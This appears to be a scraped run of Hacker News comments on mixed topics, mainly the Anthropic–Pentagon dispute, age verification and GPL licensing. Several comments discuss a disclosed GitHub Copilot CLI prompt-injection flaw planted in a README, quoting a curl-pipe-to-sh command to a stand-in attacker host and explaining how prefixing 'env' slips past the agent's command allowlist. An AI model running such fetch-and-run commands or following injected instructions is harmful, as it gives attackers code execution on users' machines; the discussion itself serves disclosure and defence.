MurphyA/hacker-news huggingface dataset:
by v_chip_saves | 2026-02-28 05:54:18+00:00
Remember in that South Park episode where Cartman had a V-Chip[0] installed in his head and he would get shocked if he said big floppy donkey dick?

In all honesty the V-Chip was meant to protect children.

Age verification and identity assurance[1] is meant to reduce online banking fraud and combat terrorism/espionage.

Whats next outlawing encryption with Clipper Chip[2] 2.0 and saying its to save the whales? I guess we have QUIC and other DRM tech to ruin our day so it doesn't even matter.

I would prefer we drop the think of the children[3] charade and act like adults and get serious about online crime/fraud/terrorism and maximizing online banking.

The biggest problem with this thought domain is that the internet is global and we are thinking at regional, national, and state levels. For so many years everyone has heard complaints about the great firewall of China only to build our own? I guess we have no other choice since bad apples spoil the bunch[4].

[0]https://en.wikipedia.org/wiki/V-chip
[1]https://pages.nist.gov/800-63-3/sp800-63-3.html
[2]https://en.wikipedia.org/wiki/Clipper_chip
[3]https://en.wikipedia.org/wiki/Think_of_the_children
[4]https://en.wikipedia.org/wiki/Bad_apples
by ajam1507 | 2026-02-28 05:55:42+00:00
> OTOH, I think almost guaranteed it will be watered-down by the government. Because read expansively, it could force Microsoft and AWS to choose between stopping reselling Claude vs dropping the Pentagon as a customer.

A tweet does not have the force of law. Being designated a supply chain risk does not mean that companies who do business with the government cannot do business with Anthropic. Hegseth is just has the law wrong. The government does not have the power to prevent companies from doing business with Anthropic.
by yellow_lead | 2026-02-28 05:56:36+00:00
Skip to here:

> However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms:

> env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh

So GH Copilot restricts curl, but not if it's run with `env` prepended.
by kelnos | 2026-02-28 05:57:29+00:00
Of course, the copyright holder can license as they wish. But the quoted terms of the GPL are in the license that the author is distributing with the software, so we can also follow the terms of the GPL and remove the extra restriction they just added. The author is trying to do contradictory things: add extra restrictions, but release under the terms of a license that allow us to remove those extra restrictions.

If they want to add that restriction, they cannot release it under the GPL; they need to pick another license, or modify the GPL to their liking and then call it something else (assuming the copyright terms of the GPL allow you to make a derived work of the license itself).
by mrandish | 2026-02-28 05:57:46+00:00
> Anthropic argues that your Crayola analogy is fundamentally incorrect.

Yes, I just saw Dario's latest post with that more detailed info. My understanding was informed by news reporting in a couple different outlets but those reports may have been conflating the "supply chain risk" designation (under 10 USC 3252) with the net effect of statements from the pentagon and white house which go substantially further.

Even if it's not in the legal scope of 10 USC 3252, the administration has made clear they intend to ban Anthropic from use across the federal government. AFAICT doing that is probably within the discretionary remit of the executive branch, even though I believe it's unprecedented - to your point about de jure and de facto law.

To me, if there's a silver lining to all this, it's making a strong case for restricting executive branch power.
by LarsDu88 | 2026-02-28 05:57:46+00:00
China has evacuated its embassies in Iran.

This is really about the imminent strike on Iran which is now super telegraphed. They are gonna use ChatGPT for target selection, and the likely outcome is that it will fuck things up and a bunch of civilians are going to die because of this decision.

When this happens, Altman will go from being merely a drifter to having blood on his hands.
by fc417fc802 | 2026-02-28 05:57:58+00:00
By that logic sin(x) is equivalent to a lookup table. Yeah, you can approximate it that way. But doing so at any reasonable level of precision will quickly become an exercise in the absurd. Neural networks are far worse, consisting of stacks of massive linear combinations fed into nonlinear functions.

Regardless, it remains irrelevant to the subject at hand. You're going off on a tangent rather than admit your initial claim was wrong.
by hn_acker | 2026-02-28 05:58:34+00:00
> expansion of Section 1983 to cover federal officials

I don't expect Congress to do so in the foreseeable future (regardless of how the 2026 midterms go), but I hope more states will adopt "converse 1983" laws [1].

[1] https://www.lawfaremedia.org/article/can-state-law-remedy-co...
by t0lo | 2026-02-28 05:59:29+00:00
There is definitely a muddle on so many levels about signaling and agreeing on ethics in technology.

But as innovation slows globally, it is implementation, ethics, and ideology that will once again be the dominant metrics of progress, so there's a new window emerging to push for this social/moral change in technology once again.

So it's still critically important that we actively work towards finding a meaningful, socially contagious differentiator other than "ethical technologist" even if it's difficult- look at what OpenAI gets away with under that flimsy banner.
by nilkn | 2026-02-28 06:00:34+00:00
Someone is lying. Dario, Sam, and Pete cannot all be telling the truth. Their statements are contradictory. This is the basic logical conclusion: at least one of them is being actively deceitful.

Who do you think is most likely to be deceitful based on past behavior out of those three? Least likely? I think I know my answer.
by SilverElfin | 2026-02-28 06:02:51+00:00
Claude is not as ideologically willing as friends of the Trump administration are - like xAI's Grok and OpenAI's ChatGPT. And David Sacks, the AI czar, who is a PayPal mafia member and close friend of the Epstein class (Elon Musk, Peter Thiel), has been attacking Anthropic FOREVER. He views them as a woke threat to America. So all that supply chain risk and the ban from agencies is just a way of abusing power to suppress free speech.

But the most obvious reason, is that Greg Brockman - who's a founder and also the current president of OpenAI apparently, is the largest donor to the Trump MAGA PAC. I find it hard to believe that Sam Altman and the Trump administration would be so obvious about it, but I also find it hard to believe that tens of millions in donations and this kind of result can be anything but a bribe.
by ahf8Aithaex7Nai | 2026-02-28 06:03:10+00:00
I dislike the style of Altman's language about as much as I dislike the bullshit language used in politics or the self-incriminating, overly specific denials used by prominent figures to defend themselves against criminal allegations: “I have never had sexual relations with anyone under the age of 18 outside of my own family.”

The language is so coded that the many places where the core statement must be negated stand out like a sore thumb.
by skissane | 2026-02-28 06:03:21+00:00
It is interesting that this is a mainstream existing thing in the US (at the state level), but more of a fringe proposal in the rest of the English-speaking world.

I think the answer may be that the difference in political systems (parliamentary vs presidential) and party systems (less two-party but with greater party discipline) solves many of the problems term limits are intended to solve in completely different ways.

Maybe a better answer would be for US states to adopt the parliamentary system? Although there is some debate about what the "republican form of government" clause means, it arguably doesn't rule out parliamentary republicanism, and Luther v Borden (1849) ruled the clause wasn't justiciable anyway. Added to that, the widespread practice in first half of the 19th century, in which governors were elected by state legislatures, was de facto the parliamentary system. I don't think there is any federal constitutional obstacle to trying this – it is just a political culture issue, it currently sits outside the state constitutional Overton window.

While you could adopt the Australia/Canada model of a figurehead state governor/lieutenant governor with a state premier, I think just having a premier but calling them "the governor" would be more feasible
by kelnos | 2026-02-28 06:03:29+00:00
> GPLv3 clearly has no provisions to introduce arbitrary prohibitions into the license without losing compatibility.

It's not even just that. The license expressly forbids adding other conditions and restrictions, and says that people who receive software, licensed under the GPL, with added conditions ore restrictions, can just remove those restrictions.

If the author really wants to add a restriction like this, they have to switch to a different license.
by andai | 2026-02-28 06:03:35+00:00
>Two of our most important safety principles are prohibitions on domestic mass surveillance and human responsibility for the use of force, including for autonomous weapon systems. The DoW agrees with these principles, reflects them in law and policy, and we put them into our agreement.

I don't get it. Aren't these the same things that Anthropic was trying to negotiate?

Edit: it was explained elsewhere in this thread:

https://news.ycombinator.com/item?id=47188473#47190614
by ks2048 | 2026-02-28 06:03:48+00:00
I didn't look at all the details, but wanted to see how you did the initial embedding and see you do have a 14x5 matrix there. I guess when you are setting things by-hand (rather than learning), the definition of counting "parameters" is a bit unclear. One could say all those are parameters! even if setting in a straight-forward way.
Show HN: Visual Lambda Calculus – a thesis project (2008) revived for the web
by bntr | 2026-02-28 06:04:05+00:00
Originally built as my master's thesis in 2008, Visual Lambda is a graphical environment where lambda terms are manipulated as draggable 2D structures ("Bubble Notation"), and beta-reduction is smoothly animated.

I recently revived and cleaned up the project and published it as an interactive web version:
https://bntre.github.io/visual-lambda/

GitHub repo:
https://github.com/bntre/visual-lambda

It also includes a small "Lambda Puzzles" challenge, where you try to extract a hidden free variable (a golden coin) by constructing the right term:
https://github.com/bntre/visual-lambda#puzzles
by PaulDavisThe1st | 2026-02-28 06:04:31+00:00
Why do you choose to call it the "DoW"? Its official name is the Department of Defense, it was titled that way by Congress and only Congress can change it. What is your motivation in using a term that the current administration has started to use? Do you also use the Gulf of America when referrring to the body of water that defines the southern edge of the USA?
by ismyrnow | 2026-02-28 06:04:43+00:00
I suspect that Anthropic wanted the govt to ensure they would not use Claude for mass surveillance or autonomous weapons even if it does become legal in the future. OpenAI was comfortable with the agreement because it's currently illegal and they can make a public statement that they still side with Anthropic on the ethics side.

I also believe that Anthropic's CEO just didn't get along with the DoW in negotiations. So much of these big contracts comes down to relationships.

Still pretty sleazy how the govt is being so aggressive about it. I wish they would have just denied the contract and picked another vendor.
by LarsDu88 | 2026-02-28 06:05:11+00:00
The question is why was it so urgent to bring this up right now. The answer is that the US Navy has carrier battle groups stationed off the coast of Iran right now.

US F22 fighter jets have been spotted on Israeli airfields by Chinese commercial satellites in the past 3 days.

A full scale strike on Iran is imminent and they want to leverage LLMs for data analysis and quite possibly automated target selection.

Literally the SkyNet scenario both researchers and frickin pop culture have warned about for years.
by kelnos | 2026-02-28 06:05:35+00:00
Exactly. OS makers should build fine-grained parental controls into their OSes, and parents, and only parents, get to decide how much (if any at all) of that to enable for their children.

(And OS makers need to get better at this; from what I understand, it's not difficult for savvy kids to bypass parental controls on iOS and Android.)
by muzani | 2026-02-28 06:05:37+00:00
I would say Singapore too. Lots of funds. Smart people.

There both Chinese and Americans working in tech companies there, often trying to access the other market. It's a bit of a proxy. Some people consider it some kind of betrayal, but it's been like that for many years. Both English and the Chinese dialects are well known in SG. It's a common middle ground for east and west negotiations too.

The downside is market and cost. So raise money in SG. Make use of the better laws and low corruption.

Engineering can move to one of the nearby countries. Even Australia is cheaper than Singapore these days, and there's a large bucket of untapped talent there. But Malaysia is nearby, and some people literally drive over the bridge to work in SG. Hybrid with 1 day in the office is also very doable.

Indonesia is a fine nearby market, projected to be top 5 highest GDP in 2050. If you're building a unicorn, you'd be good there. Though some people incorporate in SG, market to EU/US too. On a list of foreign tech, people generally have a positive view of Made in Singapore.

The region is AI-friendly too. Doesn't have the talent to build another Anthropic or Google, but enough to build a second degree one like ElevenLabs or Cursor.
by bntr | 2026-02-28 06:05:48+00:00
For comparison: factorial(3) visualized in two different notations.

John Tromp's Lambda Diagrams (via 2swap):
https://www.youtube.com/watch?v=RcVA8Nj6HEo&t=1346s

Bubble Notation:
https://www.youtube.com/watch?v=aRgu8S3Pnb8
by YZF | 2026-02-28 06:05:49+00:00
With the price of tokens I think mass surveillance with AI is not a realistic use case.

There already is a mass surveillance. Presumably most electronic communication is monitored. I guess LLMs can likely do a somewhat better job but probably not worth the cost for the marginal benefit over existing technologies?

Similarly for "Terminators" or other AI killing machines... Isn't it cheaper to use a human? We have autonomous weapons already, like cruise missiles... Other than the movies what does a reality with LLMs pulling triggers look like? Cars are also "killing machines" and we're letting computers drive them...

Unfortunately if these things do start making sense for whatever reason they're probably going to happen. Private companies in general have no way to prevent their technology from being used for "defense" applications. Once that genie is out of the bottle it's not going back in.
by arjie | 2026-02-28 06:05:51+00:00
This is a classic problem when people try to find "the current price" of something. A typical error is to take an average of the current rentals currently on the market and describe that as the average rental cost somewhere. Usually the book is so thin that a few places being taken off the market will shift the price a lot while most people can be paying something like half of that and every rental that lists for less than the clearing price is acquired so rapidly that any sampling method will reliably miss it.
by Merovius | 2026-02-28 06:06:48+00:00
> perhaps less quippy

Being quippy is the point. That's how aphorisms work: creating a short, pithy distillation of a complex argument, that you can then use pars pro toto to make a point.

I certainly agree that POSWID is easily (and perhaps frequently) misused. But that doesn't invalidate it in general.
by dwd | 2026-02-28 06:06:49+00:00
I was never an MTV viewer, and came by Radiohead through JJJ radio (Australia).

My ah-ha moment was the release of Ok Computer. First heard the album driving in my car and was instantly blown away. Before that Creep, the singles from the Bends were just some of the better BritPop stuff I was into at the time.

Saw them early '98 on the tour which cemented them as my favourite band. They played Creep, but the high point was going out on Street Spirit.
by xtracto | 2026-02-28 06:07:27+00:00
When I started reading all these news, the thought that came to my mind is: how sweet of these companies to try this, but unfortunately I am sure that other countries advancing AI like China (deepseek, GLM, etc) or Russia, or whoever WILL have their companies' AI at their disposal

Unfortunately, this is the new arms race, race to the moon, and all that together.
by roywiggins | 2026-02-28 06:08:08+00:00
It's because in this case "curl" is just a parameter to env. Env just happens to execute curl (or indeed sh, which seems, uh, worse).

Seems nuts to have env or find on the default allowlist to me! Really these agents shouldn't be able to execute anything at all without approval by default, if you want to give it something like "find" or "env" to do safe things without approval, reimplement the functionality you want as a tool that can't do arbitrary code execution.
by kelnos | 2026-02-28 06:08:17+00:00
You be a parent and set limits on your children's behavior. You enforce it through the usual means. You don't rely on a nanny-state government to do it for you. That's abandoning your responsibility as a parent.

And let's not seriously try to say internet availability is the same as free-for-all liquor stores and casinos on as your physical neighbors. It's just not. It's still easier to restrict what a kid does online than it is to restrict their physical movements.

(And frankly, it's not that hard to restrict a kid's physical movements.)
by ACCount37 | 2026-02-28 06:09:06+00:00
No. You cannot. It's the wrong tool for the problem.

That little "add" of yours has the overhead of: having an LLM emit it as a tool call, having to pause the LLM inference while waiting for it to resolve, then having to encode the result as a token to feed it back.

At the same time, a "transformer-native" addition circuit? Can be executed within a single forward pass at a trivial cost, generate transformer-native representations, operate both in prefill and in autoregressive generation, and more. It's cheaper.
by oenton | 2026-02-28 06:09:13+00:00
How much of your U.S. paycheck goes towards healthcare premiums?

How about much is daycare in the U.S. for 3 children? Conservative estimates put that at $4-$5,000 per month, and that's after tax.

Is there a reason your comment omits these key differences when comparing a SWE's quality of life living in the United States vs. Canada?
by esperent | 2026-02-28 06:09:17+00:00
I imagine this would work specifically to reduce sycophancy but what about 2nd order effects?

I've found the best ways to get good results from LLMs is firm and clear instructions: I need X so do Y then check Z, W and draw up a plan...

If I put any kind of uncertainty: "I'm thinking about
..." or "would this work..." or "my intern suggested..." then the quality goes down. Or even if we end up with a good result, it will take longer to get there.

It might be useful for learning though, as you and the LLM work through the fundamentals of the "intern's" suggestion to see if it's valid.
by Llamamoe | 2026-02-28 06:09:29+00:00
I think it has also been pretty clear from the beginning of his current term that the primary principle of this administration is to pass whatever has been paid for. E.g. the literally hundreds of executive orders that he started signing en masse the moment he got elected, none of which were written in his style or pen or even possible to write in such volume for a single person in a single day.
by juris | 2026-02-28 06:11:04+00:00
Little bit picking at straws but I sure would love to find some way to punt this law. Medtronic has an insulin delivery solution which involves the distribution of a custom Android phone with a closed source app. Other fields in medicine do this as well as a matter of course, so that they can guarantee clinical operation on that particular device (rather than risk app operation on Android device fragmentation) and get OK’d by the FDA. The FDA testing process can take upwards of 4 years, and is usually cleared for -specific- operating system versions (which, by the end of testing, can be very old).

I wonder: since that operating system needs to attest and (vaguely) eventually report an age and other identifiers to a government API and app developers, will that report violate HIPAA?
by binsquare | 2026-02-28 06:11:11+00:00
I think there's different conversations happening and I don't think we're having the same conversation.

This is the claim by the article: "Vulnerabilities in the GitHub Copilot CLI expose users to the risk of arbitrary shell command execution via indirect prompt injection without any user approval"

But this is not true, the author gave explicit permission on copilot startup to trust and execute code in the folder.

Here's the exact starting screen on copilot:

│ Confirm folder trust │
│ │
│ ╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ │
│ │ /Users/me/Documents │ │
│ ╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ │
│ │
│ Copilot may read files in this folder. Reading untrusted files may lead Copilot to behave in unexpected ways. With your permission, Copilot may execute │
│ code or bash commands in this folder. Executing untrusted code is unsafe. │
│ │
│ Do you trust the files in this folder? │
│ │
│ 1. Yes │
│ 2. Yes, and remember this folder for future sessions │
│ 3. No (Esc) │

And `The injection is stored in a README file from the cloned repository, which is an untrusted codebase.`
by SpicyLemonZest | 2026-02-28 06:11:55+00:00
I did choose to immediately disbelieve it. If a Trump regime official tells me something, and they could plausibly benefit from lying to me about it, I assume until proven otherwise that they're lying. They've earned this reputation through a large number of consequential and later disproven lies; my apologies to Mr. Lewin if he personally is an honest man, although I might encourage him to think about whether the good he's doing in his role is so important that it outweighs the lies he's providing cover for and the gradual erosion of his integrity.

> If you've found one of these, let me know. I'm still looking...

I do not assume, and I would recommend that you do not assume, that there is such a thing as a text of the contract. It's much easier to lie about contents of documents that don't actually exist yet. Then you can craft the text in response to public feedback, writing it down in early March and telling people that it's totally a copy of what was agreed to on February 27.

As a corollary, you should be skeptical of any purported text that is not widely published soon. If there is indeed such a contract, and it says what Altman claims, he will desperately want to ensure that his employees have read a "leak" of the text by Monday morning.
by kelnos | 2026-02-28 06:12:47+00:00
> Once a teen is interested in getting into the edgy stuff there is no amount of regulation can stop them.

That's really the thing too. I did grow up in the 80s and 90s, and I managed to find porn and all other sorts of things that my parents didn't want me to have or do. And I wasn't even a bad, difficult-to-parent kid. I was just a pre-teen and teen who wanted to do stuff my parents didn't approve of, just like pretty much every other kid on the planet.

In the end, I turned out fine! Not perfect (I have my issues, like most of us), but I'm happy and successful. I have no doubt that the same would be true if I'd grown up in the 00s like you did.